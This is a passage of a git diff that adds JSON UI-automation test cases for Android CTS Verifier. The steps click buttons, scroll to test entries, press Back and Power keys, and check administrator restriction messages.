user\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Add user\",\"actionId\":\"f66070ff-56e6-4190-bd8c-d15261cac418\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Add user\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"f502a6af-bcc5-450b-8fec-e04a6c45c20c\",\"b19f38db-4368-4067-aafd-f408e550eb22\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\",\"64db6b9d-caaa-442f-840a-80ef16030e55\",\"f66070ff-56e6-4190-bd8c-d15261cac418\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-01-Disallow add user","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.118000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7eec7b1d-4c98-48f8-ab8b-8c82006cfef4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7eec7b1d-4c98-48f8-ab8b-8c82006cfef4
new file mode 100644
index 0000000..facf14c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7eec7b1d-4c98-48f8-ab8b-8c82006cfef4
@@ -0,0 +1 @@
+{"uuid":"7eec7b1d-4c98-48f8-ab8b-8c82006cfef4","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Decline button\",\"actionId\":\"7eec7b1d-4c98-48f8-ab8b-8c82006cfef4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Decline button\",\"actionId\":\"9ce34602-923c-4ba7-a5ff-8f85730bd4ec\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"}],\"childrenIdList\":[\"9ce34602-923c-4ba7-a5ff-8f85730bd4ec\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Decline button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.071000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7f12c16f-51be-4732-bf1b-ef4b55841a99 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7f12c16f-51be-4732-bf1b-ef4b55841a99
new file mode 100644
index 0000000..38e00f0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7f12c16f-51be-4732-bf1b-ef4b55841a99
@@ -0,0 +1 @@
+{"uuid":"7f12c16f-51be-4732-bf1b-ef4b55841a99","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch No Device Owner Tests\",\"actionId\":\"7f12c16f-51be-4732-bf1b-ef4b55841a99\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to No Device Owner Tests\",\"actionId\":\"be49e449-ac71-4b06-9782-c81a01175ee1\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"No Device Owner Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"57461260-7fd4-4825-9d32-d496e8c9b0a5\",\"displayText\":\"No Device Owner Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"No Device Owner Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":418.0,\"x2\":351.3333333333333,\"y2\":460.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":431.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":7.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"57461260-7fd4-4825-9d32-d496e8c9b0a5\",\"firstText\":\"No Device Owner Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"No Device Owner Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":416.0,\"x2\":171.0,\"y2\":447.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, No Device Owner Tests\",\"actionId\":\"bab10e64-9b67-4a8d-b0d8-04ff7080e215\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"No Device Owner Tests\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"be49e449-ac71-4b06-9782-c81a01175ee1\",\"bab10e64-9b67-4a8d-b0d8-04ff7080e215\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch No Device Owner Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.216000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8003eafa-d92b-4571-ba71-a68648526e4f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8003eafa-d92b-4571-ba71-a68648526e4f
new file mode 100644
index 0000000..dddd9d0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8003eafa-d92b-4571-ba71-a68648526e4f
@@ -0,0 +1 @@
+{"uuid":"8003eafa-d92b-4571-ba71-a68648526e4f","details":"{\"type\":\"CompoundAction\",\"name\":\"Check the restriction message(Short message)\",\"actionId\":\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the short message\",\"actionId\":\"9c3e9961-9392-4502-9326-d26da3ac96ed\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"This action is disabled by your administrator\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"eb0f371d-b7e3-4a9e-adb1-69d418755192\",\"displayText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"5eda0849-454a-46ae-a343-5cbe9b16a763\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"245babbd-b5b9-43b7-aba7-e6a81412f8c8\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e361938f-7e68-42c7-af97-0f727555ba87\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/admin_support_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":46.0,\"y1\":264.0,\"x2\":90.0,\"y2\":308.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"8b09b61a-bf6f-45a6-a67d-64e1d3e08566\",\"displayText\":\"Action not allowed\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_support_dialog_title\",\"text\":\"Action not allowed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":90.0,\"y1\":273.6666666666667,\"x2\":266.3333333333333,\"y2\":298.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":46.0,\"y1\":264.0,\"x2\":314.0,\"y2\":326.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"},{\"uuid\":\"e515f487-c5f6-498c-9af6-f18b5aef27e0\",\"displayText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6d3b9edc-6818-4080-a47f-86fbe594e87b\",\"displayText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7b779a7f-5519-4e7a-9d1b-6aaa02600959\",\"displayText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_support_msg\",\"text\":\"This action is disabled by your administrator. Contact someone@example.com for support.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":46.0,\"y1\":326.3333333333333,\"x2\":314.0,\"y2\":382.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":41.0,\"y\":7.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":46.0,\"y1\":326.3333333333333,\"x2\":314.0,\"y2\":382.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\"}],\"className\":\"android.widget.ScrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":46.0,\"y1\":326.3333333333333,\"x2\":314.0,\"y2\":382.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This action is disabled by your administrator. Contact someone@example.com for support.\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":242.0,\"x2\":336.0,\"y2\":404.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.settings:id/custom\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":242.0,\"x2\":336.0,\"y2\":404.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":139.0,\"y\":347.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":41.0,\"y\":-23.66666666666663,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"7b779a7f-5519-4e7a-9d1b-6aaa02600959\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This action is disabled by your administrator\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":41.0,\"y1\":325.0,\"x2\":237.0,\"y2\":369.0}}],\"childrenIdList\":[\"9c3e9961-9392-4502-9326-d26da3ac96ed\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check the restriction message(Short message)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.121000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8176eaad-a582-41ea-8d8e-9c8673e8ceb0 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8176eaad-a582-41ea-8d8e-9c8673e8ceb0
new file mode 100644
index 0000000..df952b9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8176eaad-a582-41ea-8d8e-9c8673e8ceb0
@@ -0,0 +1 @@
+{"uuid":"8176eaad-a582-41ea-8d8e-9c8673e8ceb0","details":"{\"type\":\"CompoundAction\",\"name\":\"03-Keyguard disclosure\",\"actionId\":\"8176eaad-a582-41ea-8d8e-9c8673e8ceb0\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Keyguard disclosure\",\"actionId\":\"57a40634-3f0e-4d2e-a7ad-a445e9b78c6f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Keyguard disclosure\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4f58978d-496b-4ac9-bab9-addaba663699\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"139b3453-f582-447b-972b-859865ac561b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"67cd8c5f-36a6-4c9b-8d2b-864002ac15ba\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"0e946f3c-2742-4939-9f44-ccb2168242d5\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"a48501b8-0cb4-4c0b-99e1-6bd0d8593cad\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"830f2320-036b-4e61-b60a-c35e153a1631\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"e9af0197-9a6a-4ccc-bc7f-0a1333e963e3\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"70207952-35ef-442f-926e-fedf2fe95120\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f0476871-0685-4ceb-93db-261bed0054d7\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b4c74ca8-b3cf-469f-b187-b907a123a0ad\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"982a50e6-6a31-4861-9833-b5de6aa59cfa\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"3538b846-9d0b-4b56-9326-5b277b345374\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f6ec14d0-793b-4ee5-88fd-940d29d4e2e2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"08c4d4db-2b7e-49b3-9f96-6abc754111c2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"5898060a-6ec6-46e2-8055-7703088777b7\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"004e336e-b08c-4e89-9841-6dcd32f7ef23\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ff5c607e-7cad-4a9d-b1ca-25cf761d0878\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"544ff00c-f3b1-4ba3-8434-9e733f9481f7\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7f12c16f-51be-4732-bf1b-ef4b55841a99\",\"57a40634-3f0e-4d2e-a7ad-a445e9b78c6f\",\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"1e49e89c-6a23-487a-86d9-a2244d725017\",\"4f58978d-496b-4ac9-bab9-addaba663699\",\"139b3453-f582-447b-972b-859865ac561b\",\"67cd8c5f-36a6-4c9b-8d2b-864002ac15ba\",\"0e946f3c-2742-4939-9f44-ccb2168242d5\",\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"cf6c2d6d-a4fe-4981-af4b-f561291f847b\",\"a48501b8-0cb4-4c0b-99e1-6bd0d8593cad\",\"830f2320-036b-4e61-b60a-c35e153a1631\",\"e9af0197-9a6a-4ccc-bc7f-0a1333e963e3\",\"70207952-35ef-442f-926e-fedf2fe95120\",\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"49bfb869-2ef5-4df6-8fff-3192112b82a2\",\"f0476871-0685-4ceb-93db-261bed0054d7\",\"b4c74ca8-b3cf-469f-b187-b907a123a0ad\",\"982a50e6-6a31-4861-9833-b5de6aa59cfa\",\"3538b846-9d0b-4b56-9326-5b277b345374\",\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"e1d66f34-6024-4d89-b511-399897ba2464\",\"f6ec14d0-793b-4ee5-88fd-940d29d4e2e2\",\"08c4d4db-2b7e-49b3-9f96-6abc754111c2\",\"5898060a-6ec6-46e2-8055-7703088777b7\",\"004e336e-b08c-4e89-9841-6dcd32f7ef23\",\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\",\"ff5c607e-7cad-4a9d-b1ca-25cf761d0878\",\"544ff00c-f3b1-4ba3-8434-9e733f9481f7\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"03-Keyguard disclosure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.219000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82177f1b-37f0-4bec-95c6-02f1c0871c28 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82177f1b-37f0-4bec-95c6-02f1c0871c28
new file mode 100644
index 0000000..f8b7444
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82177f1b-37f0-4bec-95c6-02f1c0871c28
@@ -0,0 +1 @@
+{"uuid":"82177f1b-37f0-4bec-95c6-02f1c0871c28","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Reset\\\" button\",\"actionId\":\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Reset\",\"actionId\":\"7d9d3c9a-bc1d-4d6a-af10-0c1725095410\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Reset\"}],\"childrenIdList\":[\"7d9d3c9a-bc1d-4d6a-af10-0c1725095410\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Reset\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.175000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82a744f4-d253-4c94-aa27-c798b739cfbc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82a744f4-d253-4c94-aa27-c798b739cfbc
new file mode 100644
index 0000000..9d8f483
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82a744f4-d253-4c94-aa27-c798b739cfbc
@@ -0,0 +1 @@
+{"uuid":"82a744f4-d253-4c94-aa27-c798b739cfbc","details":"{\"type\":\"CompoundAction\",\"name\":\"test_View/Delete Instant Apps Test\",\"actionId\":\"82a744f4-d253-4c94-aa27-c798b739cfbc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to View/Delete Instant Apps Test\",\"actionId\":\"ed8df76c-77b7-43c9-857a-43af01334b0f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"View/Delete Instant Apps Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"291226ab-a767-4dc5-a0af-19d3a57d4490\",\"displayText\":\"View/Delete Instant Apps Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"View/Delete Instant Apps Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":641.5,\"x2\":351.25,\"y2\":683.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":110.5,\"y\":662.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":69.5,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"291226ab-a767-4dc5-a0af-19d3a57d4490\",\"firstText\":\"View/Delete Instant Apps Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"View/Delete Instant Apps Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":646.0,\"x2\":214.0,\"y2\":679.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, View/Delete Instant Apps Test\",\"actionId\":\"386d0932-749d-430a-9983-f3159d3c7cb2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"View/Delete Instant Apps Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, see all button\",\"actionId\":\"2689b5ae-ede4-4457-9308-2ad2a72ff7b5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"See all\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, All apps 